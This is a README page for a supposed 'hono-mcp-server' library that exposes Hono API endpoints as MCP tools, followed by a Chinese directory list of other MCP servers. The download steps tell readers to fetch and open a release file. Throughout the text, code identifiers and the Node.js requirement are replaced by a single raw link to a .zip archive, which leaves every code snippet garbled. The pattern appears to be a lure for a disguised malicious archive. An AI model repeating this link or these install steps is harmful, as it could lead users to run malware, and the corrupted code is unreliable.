hono-mcp-server
Easily expose your Hono API endpoints as MCP tools with minimal configuration, supporting type-safe input handling and tool registration.
README
🎉 hono-mcp-server - Easily Expose Your Hono API
🚀 Getting Started
Welcome to the hono-mcp-server repository! This software allows you to easily expose your Hono API endpoints as MCP tools. Follow these simple steps to download and run the application.
📥 Download & Install
- Visit the Releases page.
- Look for the latest release. You will see a list of available files.
- Download the file suitable for your operating system.
- Once the file is downloaded, locate it in your downloads folder.
- Open the file to start the installation.
📂 Features
- Simple API Integration: Use the software with minimal configuration.
- MCP Tool Registration: Easily register tools for your API endpoints.
- Type-Safe Input Handling: The application ensures that input data conforms to expected formats.
⚙️ System Requirements
To run hono-mcp-server, ensure your system meets the following requirements:
- Operating System: Windows, macOS, or a Linux distribution.
- https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip Version 14 or newer.
- Basic knowledge of using command line tools may be helpful, but not essential.
🛠️ How to Use
After installing the hono-mcp-server, you can set it up for your project. Here's a simplified way to integrate it into your existing application:
-
Import the Library: Use the following code snippet to import hono and the hono-mcp-server library.
import { Hono } from "hono"; import { z } from "zod"; import { mcp, registerTool } from "hono-mcp-server"; -
Create the API: Here is a basic example to get you started:
const app = new Hono() .get("/users", registerTool("List all users"), (c) => https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip([{ id: 1, name: "Alice" }])) .get("/users/:id", registerTool("Get user by ID"), (c) => https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip({ id: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip("id") })) .post( "/users", registerTool({ description: "Create a new user", inputSchema: { name: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().describe("User's full name"), email: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().email().describe("User's email address"), }, }), async (c) => { const { name } = https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip("json"); // typed! return https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip({ id: 1, name }); }, ); -
Expose Your API: Finally, expose your API as MCP tools.
export default mcp(app, { name: "Users API", version: "1.0.0", });
📊 Input & Output Schemas
With the registerTool() function, you can define input and output schemas for your API endpoints. This helps maintain consistency and reliability across your API.
Example Schema
const inputSchema = {
name: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().describe("User's full name"),
email: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().email().describe("User's email address"),
};
🔍 Troubleshooting
If you encounter any issues during installation or usage, check the following:
- Ensure you have the correct version of https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip installed.
- Verify that you are using a supported operating system.
- Double-check the format of your API requests to ensure they match expected schemas.
📧 Support
If you still need help, feel free to reach out. You can open an issue on the GitHub repository. Our community is here to assist you.
📦 Additional Resources
- Hono Documentation
- MCP Documentation
- Explore additional examples and use cases in our repository to better understand how to integrate and use this application effectively.
Download hono-mcp-server again to ensure that you have the latest version. Enjoy building your APIs!
推荐服务器
Baidu Map
百度地图核心API现已全面兼容MCP协议,是国内首家兼容MCP协议的地图服务商。
Playwright MCP Server
一个模型上下文协议服务器,它使大型语言模型能够通过结构化的可访问性快照与网页进行交互,而无需视觉模型或屏幕截图。
Magic Component Platform (MCP)
一个由人工智能驱动的工具,可以从自然语言描述生成现代化的用户界面组件,并与流行的集成开发环境(IDE)集成,从而简化用户界面开发流程。
Audiense Insights MCP Server
通过模型上下文协议启用与 Audiense Insights 账户的交互,从而促进营销洞察和受众数据的提取和分析,包括人口统计信息、行为和影响者互动。
VeyraX
一个单一的 MCP 工具,连接你所有喜爱的工具:Gmail、日历以及其他 40 多个工具。
graphlit-mcp-server
模型上下文协议 (MCP) 服务器实现了 MCP 客户端与 Graphlit 服务之间的集成。 除了网络爬取之外,还可以将任何内容(从 Slack 到 Gmail 再到播客订阅源)导入到 Graphlit 项目中,然后从 MCP 客户端检索相关内容。
Kagi MCP Server
一个 MCP 服务器,集成了 Kagi 搜索功能和 Claude AI,使 Claude 能够在回答需要最新信息的问题时执行实时网络搜索。
e2b-mcp-server
使用 MCP 通过 e2b 运行代码。
Neon MCP Server
用于与 Neon 管理 API 和数据库交互的 MCP 服务器
Exa MCP Server
模型上下文协议(MCP)服务器允许像 Claude 这样的 AI 助手使用 Exa AI 搜索 API 进行网络搜索。这种设置允许 AI 模型以安全和受控的方式获取实时的网络信息。